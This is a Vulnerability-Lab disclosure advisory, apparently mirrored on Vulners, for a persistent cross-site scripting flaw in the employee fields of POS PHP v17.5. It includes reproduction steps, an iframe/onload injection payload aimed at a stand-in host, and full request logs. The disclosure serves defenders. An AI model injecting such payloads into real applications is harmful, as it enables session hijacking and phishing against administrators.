Lucene search
K

POS PHP v17.5 - (Employees) Persistent Web Vulnerability

Persistent cross site scripting vulnerability in POS PHP v17.5 allows remote attacks with low interaction.

Code
Document Title:
===============
POS PHP v17.5 - (Employees) Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2230


Release Date:
=============
2020-04-29


Vulnerability Laboratory ID (VL-ID):
====================================
2230


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Turn your Retail Small Business into a Customer Focused, Profit Generating Machine. Guaranteed to save you time, 
increase the accuracy of your inventory, and help you make informed decisions for your business. Types of businesses 
that work great with PHP Point of Sale.

(Copy of the Homepage: https://phppointofsale.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the POS PHP v17.5 web-application.


Vulnerability Disclosure Timeline:
==================================
2020-04-30: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official POS PHP v17.5 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to 
compromise browser to web-application requests from the application-side.

The persistent web vulnerability is located in the first_name, last_name and phone_number parameters of the 
employee module. Remote attackers are able to edit / add malicious script code as first_name, last_name or 
phone_number to ./employees or /employees/view modules. Thus allows to execute the script code with persistent 
attack vector against administrators in the backend. The request method to inject is POST via add or edit of 
the employee values and the attack vector is located on the application-side.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Employees

Vulnerable Input(s):
[+] Firstname
[+] Lastname
[+] Phone

Vulnerable File(s):
[+] index.php/employees/save/

Vulnerable Parameter(s):
[+] first_name
[+] last_name
[+] phone_number

Affected Module(s):
[+] index.php/employees
[+] index.php/employees/view/


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the php pos application newst version (17.5)
2. Login with the restricted user privileges
3. Move to profile edit on top
4. Inject payload to the vulnerability input fields
5. Save the entries and wait until a higher privileged user account interacts on preview in the backend
Note: In case of an implemented registration its not required to receive an account by higher privileged managers or admins
6. Successful reproduce of the persistent cross site scripting web vulnerability!


PoC: Vulnerable Source
<div class="user-badge">
<div class="user-badge-avatar"><img src="https://phppos.localhost:8080/assets/assets/images/avatar-default.jpg" class="img-polaroid" alt=""></div>
<div class="user-badge-details">
%20><iframe src=evil.source onload=alert(document.domain)></iframe>
<p>>"><iframe src=evil.source onload=alert(document.domain)></iframe></p></div>
<ul class="list-inline pull-right">
<li><a target="_blank" href="https://phppos.localhost:8080/index.php/reports/generate/specific_employee?employee_type=logged_in_employee&
report_type=complex&start_date=2019-10-26&start_date_formatted=10/26/2019 12:00 am&end_date=2020-04-26%2023:59:59&
end_date_formatted=04/26/2020 11:59 pm&employee_id=6&sale_type=all&export_excel=0" class="btn btn-success">View Report</a></li>
<li><a href="mailto:[email protected]" class="btn btn-primary">Send Email</a></li>
</ul></div></div></div>


PoC: Payload
><iframe src=evil.source onload=alert(document.domain)></iframe>


--- PoC Session Logs [POST] --- (Injection Point)
https://phppos.localhost:8080/index.php/employees/save/
Host: phppos.localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------309283418139309833812445367446
Content-Length: 4896
Origin: https://phppos.localhost:8080
Connection: keep-alive
Referer: https://phppos.localhost:8080/index.php/employees/view/-1/
Cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn
first_name=a><iframe src=evil.source onload=alert(document.domain)></iframe>&
last_name=b><iframe src=evil.source onload=alert(document.domain)></iframe>&[email protected]
&phone_number=c><iframe src=evil.source onload=alert(document.domain)></iframe>&image_id=&address_1=dtest&
address_2=etest&city=ftest&
state=gtest&zip=htest&
country=itest&comments=jtest&login_start_time=&login_end_time=&max_discount_percent=&commission_percent=0&
commission_percent_type=selling_price&hourly_pay_rate=0&hire_date=&birthday=&employee_number=&language=english&
default_register=&locations[]=1&redirect_code=0&files[]=,,,,&
username=k><iframe src=evil.source onload=alert(document.domain)></iframe>&
password=ntest&repeat_password=mtest&
reason_inactive=&termination_date=
- Add (Save)
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 159
server: Apache
set-cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn; path=/; HttpOnly
vary: Accept-Encoding
content-encoding: gzip

Note: The same way the attacker can use the basic profile way to change the firstname / lastname and username.
The inject can be performed in case a registration is implemented by manager or admins via wp or other modules.
URL: https://phppos.localhost:8080/index.php/home/edit_profile


--- PoC Session Logs [GET] --- (Execution Point)
https://phppos.localhost:8080/index.php/employees/view/6?redirect=items
Host: phppos.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://phppos.localhost:8080/index.php/employees
Connection: keep-alive
Cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn
- Employee Edit Item
GET: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 27774
server: Apache
set-cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn; path=/; HttpOnly
vary: Accept-Encoding
content-encoding: gzip
-
https://phppos.localhost:8080/index.php/employees
Host: phppos.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://phppos.localhost:8080/index.php/employees
Connection: keep-alive
Cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn
-
GET: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
content-length: 11809
server: Apache
set-cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn; path=/; HttpOnly
vary: Accept-Encoding
content-encoding: gzip


Reference(s):
https://phppos.localhost:8080/index.php
https://phppos.localhost:8080/index.php/employees
https://phppos.localhost:8080/index.php/employees/view/
https://phppos.localhost:8080/index.php/employees/save/


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation